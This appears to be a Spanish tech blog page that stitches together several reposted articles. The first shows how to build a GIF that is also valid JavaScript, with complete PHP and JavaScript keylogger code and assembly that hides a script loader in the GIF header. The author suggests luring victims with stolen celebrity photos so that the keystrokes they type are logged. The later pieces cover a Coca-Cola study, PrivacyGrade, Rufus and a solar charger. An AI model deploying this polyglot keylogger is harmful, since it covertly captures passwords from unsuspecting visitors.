Robar contraseñas usando gifs y javascript

Ange Albertini (padre de Angecryption que más adelante veremos) es sin duda un auténtico mago a la hora de crear binarios "políglotas", que son ficheros que tienen simultáneamente varios formatos. Por ejemplo PDF/ZIP/JPG/Audio, PE/PDF/HTML/ZIP, TrueCrypt/PDF/ZIP, etc. Es decir, cada uno de estos ficheros pueden ser abiertos por varias aplicaciones sin error.

Una de las cosas que más nos interesan, dado el mundo de maldad y desenfreno en el que vivimos los hackers"piratas informáticos", es la técnica para abusar de la cabecera de los ficheros GIFs y añadir código Javascript. El resultado un fichero GIF que sea un fichero GIF y JS al mismo tiempo.

Imaginad... basta con publicar anónimamente una copia de una de las últimas imágenes robadas de alguna famosa y recibiremos miles y miles de visitas de incautas (pero satisfechas) víctimas, cuyos navegadores ejecutan de forma silenciosa código javascript...

Ajin Abraham planteaba un escenario similar y muy interesante con Xenotic. Nosotros haremos también una simple PoC cargando un sencillo keylogger con php. Ni que decir tiene que la demo es básica y no incluye cifrado, técnicas de evasión, ni filtros JS... eso y las fotos guarras las pone cada uno... XD

Primero vamos a apañar nuestro keylogger que publicaremos con cualquier servidor web con soporte php (en nuestro caso XAMPP). Para ello añadiremos al DocumentRoot estos tres archivos y echaremos a correr:

keylogger.php

php
if(!empty($_GET['c'])) {
    $logfile = fopen('data.txt', 'a+');
    fwrite($logfile, $_GET['c']);
    fclose($logfile);
}
?>

keylogger.js

var keys = '';
document.onkeypress = function(e) {
    var get = window.event ? event : e;
    var key = get.keyCode ? get.keyCode : get.charCode;
    key = String.fromCharCode(key);
    keys += key;
}
window.setInterval(function(){
    new Image().src = 'http://localhost/keylogger.php?c=' + keys;
    keys = '';
}, 1000);

index.html

 src="img.gif" />

Como podéis comprobar en el index.html se llama al mismo fichero gif como si fuera un script JS. ¿Cómo conseguimos que esto luego funcione? Pues el "truco" está en añadir “=1″ para que el motor JS no considere los caracteres de la cabecera como una variable no definida. Y luego, para escapar caracteres especiales, usamos las marcas de comentario “/*” y “*/”. De esta manera podremos llamar al javascript keylogger.js. Veamos el ejemplo construyendo nuestro gif malicioso desde ensamblador:

WIDTH equ 10799 ;  equivalente a 2f2a, que es '/*' en ASCII, para empezar a abrir un comentario
HEIGTH equ 100 ; sólo para que sea más fácil de detectar
db 'GIF89a'
    dw WIDTH, HEIGTH
db 0 ; GCT
    db -1 ; color de fondo
    db 0 ; relación de aspecto por defecto
db 02ch  ; descriptor de imagen
    dw 0, 0 ; NW corner
    dw WIDTH, HEIGTH ; ancho y alto de la imagen
    db 0 ; color de la tabla
db 2 ; tamaño lzw
db 0
db 3bh ; terminador del gif
db '*/' ; cierre del comentario
db '=1;' ; para falso uso de esa cadena GIF89a
;db ' alert(1) '
db 's = document.createElement("script");' 
db 's.src = "http://localhost/keylogger.js";'
db 'document.body.appendChild(s);'

El resultado al compilarlo con YASM y visto en hexadecimal será el siguiente:

yasm gifjs.asm -o img.gif

Para comprobar que funciona abrimos la URL local con Chrome, vemos la imagen, pulsamos F12 y comprobamos que nuestro keylogger está en funcionamiento:

Ahora mira la siguiente imagen y... mientras la miras... piensa... y analiza si tú también has podido ser jodido comprometido... ;)

 

Fuente:  http://www.hackplayers.com/2014/11/el-GIF-que-tambien-queria-ser-JS.html

Prueban los efectos antioxidantes y quimiopreventivos de la Coca Cola

Cuando el farmacéutico John Pemberton patentó la Coca Cola hace 128 años lo hizo como medicina. Creía que aquel jarabe tendría las propiedades curativas de la planta de la coca y alargaría la vida. Pocos años después, el márketing convirtió su invento en el refresco más consumido en el mundo, tan adorado como odiado no sólo por sus cualidades como bebida sino por ser uno de los grandes símbolos del capitalismo norteamericano. Esa percepción facilitó la proliferación de abundantes leyendas urbanas sobre las supuestas propiedades corrosivas del refresco.

Sin embargo, hace pocos días la Coca Cola ha logrado zafarse de algunas de esas etiquetas gracias a un estudio publicado por la revista Toxicology Letters firmado por Marcos Mateo Fernández, joven investigador de la Universidad de Córdoba y del Campus de Excelencia Internacional Agroalimentario ceiA3, y la catedrática de Genética Ángeles Alonso, que dirige sus investigaciones dentro del grupo de investigación AGR-158. Ambos investigadores han probado que la Coca Cola protege frente al daño oxidativo y juega un papel importante en la inhibición de crecimiento de células tumorales. Lo han hecho mediante ensayos in vivo en lo que se conoce en el laboratorio como un “organismo modelo”, la mosca Drosophila melanogaster, en la que se evaluó la toxicidad, antitoxicidad, genotoxicidad, antigenotoxicidad, extensión y calidad de vida del popular refresco en su versión clásica y en la que no contiene cafeína. Además, los investigadores de la Universidad de Córdoba usaron otro modelo para sus experimentos in vitro: la línea celular HL-60 de leucemia humana, en la que se analizaron los efectos de ambos refrescos sobre las células tumorales.

La conclusión es que ambos tipos de colas tienen efectos antioxidativos y quimiopreventivos en el laboratorio. El mismo grupo AGR-158 ensaya otras sustancias contenidas en estos refrescos, como es la cafeína, aunque ésta no exhibe resultados tan remarcables en todos los ensayos como los refescos completos.

Los efectos que esta nueva investigación puedan tener sobre la imagen de marca de la Coca Cola son algo que está por ver. Al fin y al cabo, el refresco sigue teniendo tantos defensores como detractores. Los primeros podrán enarbolar este estudio, y los segundos se podrían apoyar en el publicado por la American Journal of Public Health, hace algunas semanas, en el que tras analizar el ADN de 5.309 adultos consumidores habituales de refrescos gaseosos se concluyó que el consumo de refrescos azucarados está relacionado con el envejecimiento celular. (Fuente: UCO)

http://noticiasdelaciencia.com/not/11768/prueban-los-efectos-antioxidantes-y-quimiopreventivos-de-la-coca-cola/

PrivacyGrade: Evalúa la privacidad de tus aplicaciones Android

Algunas aplicaciones gratuitas para Android son excelentes, ¿pero qué estamos entregando a cambio de esa calidad? Existen desarrolladores sin escrúpulos que reclaman toda clase de permisos en sus creaciones para saber más de nuestros gustos. Si deseas protegerte de esa tendencia, PrivacyGrade se presenta como una base de datos que reporta la privacidad (o la falta de ella) en miles de aplicaciones Android.

Siempre me he preguntado por qué la aplicación de una linterna necesita acceso completo a la red. Hay veces en las que el desarrollador es sincero, y lo único que hace es colocar publicidad dentro del software para cubrir sus costos, sin mencionar ganar algunos billetes. Pero también hay ocasiones en las que quieren más. ¿Qué tanto más, te preguntas? Uno de los puntos débiles de Android es la forma en que reporta el uso de permisos. “Acceso completo a la red” puede significar cualquier cosa, y no hay ninguna clase de alerta que indique un comportamiento sospechoso. En otras palabras, el usuario debe defenderse por su cuenta, y averiguar todo lo que pueda sobre los permisos que solicita una aplicación antes de instalarla.

Una entrada tradicional en PrivacyGrade

Una buena opción para ello es el portal PrivacyGrade. Una creación de investigadores estacionados en la Universidad Carnegie Mellon, PrivacyGrade tiene como objetivo principal evaluar la privacidad en las aplicaciones Android. No es necesario descargar nada para acceder al servicio: Con sólo buscar el nombre de la aplicación es suficiente. La calificación para la privacidad de una aplicación va de la A hasta la F. A modo de ejemplo, la aplicación de Instagram recibe una A, Angry Birds recibe un reporte regular con una C, y Fruit Ninja cae en la categoría “pobre” con una D. PrivacyGrade presentó reportes para todas las aplicaciones que busqué, y si bien en ciertos casos la información tiene algunos meses de antigüedad, sirve mucho como punto de partida.

PrivacyGrade ofrece explicaciones más detalladas sobre los permisos que demanda una aplicación

El resto… depende del usuario. Si una de sus aplicaciones favoritas representa un problema de privacidad, deberá analizar la relación costo-beneficio para saber si realmente vale la pena correr el riesgo. La Web está pasando por uno de sus peores momentos en materia de privacidad, y otorgar el beneficio de la duda resulta cada vez más difícil. PrivacyGrade es una sólida herramienta, y todo jinete de Android debería al menos hacer un par de búsquedas.

Sitio oficial:Haz clic aquí

Fuente: http://www.neoteo.com/privacygrade-evalua-la-privacidad-de-tus-aplicaciones-android/

Cree unidades USB arrancables fácilmente

 

Rufus es una utilidad que le ayuda a formatear y crear unidades USB arrancables, como pendrives, tarjetas de memoria, etc.

Puede ser usado en casos donde:

• necesite crear medios de instalación USB a partir de ISOs arrancables (Windows, Linux, UEFI, etc.)
• necesite trabajar en un ordenador que no tenga un SO instalado
• necesite actualizar el firmware o BIOS de un ordenador
• tenga que utilizar una utilidad de bajo nivel

Rufus es rápido (según el creador). Por ejemplo es casi dos veces más rápido que UNetbootin, Universal USB Installer o la herramienta de descarga a USB de Windows 7, en la creación de un instalador USB de Windows 7 desde una ISO. También es ligeramente más rápido en la creación de USBs arrancables de Linux a partir de ISOs.

Fuente y descarga: http://rufus.akeo.ie/

Hazlo tú mismo: Crea tu propio cargador solar USB

¿Muy preocupado por la naturaleza, las energías renovables y toda la energía que malgastas con los gadgets que tanto te gustan? Pongamos un poco de energía renovable en estos gadgets, gracias a este tutorial de Instructables.

Un, en teoría, sencillo manual que enseña como con algunos componentes como una batería, un pequeño panel solar y un puerto USB (vale, es algo más, pero te haces una idea), se puede crear un sistema capaz de recargar la batería gracias a la energía solar.
Un proyecto para el fin de semana algo complicado, pero que te puede ayudar a ahorrar o usarlo como batería de emergencia en alguna ocasión. Lo bueno es que como conexión han instalado un puerto USB y puede usarse en cualquier gadget.

Vía: Lifehacker
http://gizmologia.com/2009/05/hazlo-tu-mismo-crea-tu-propio-cargador-solar-usb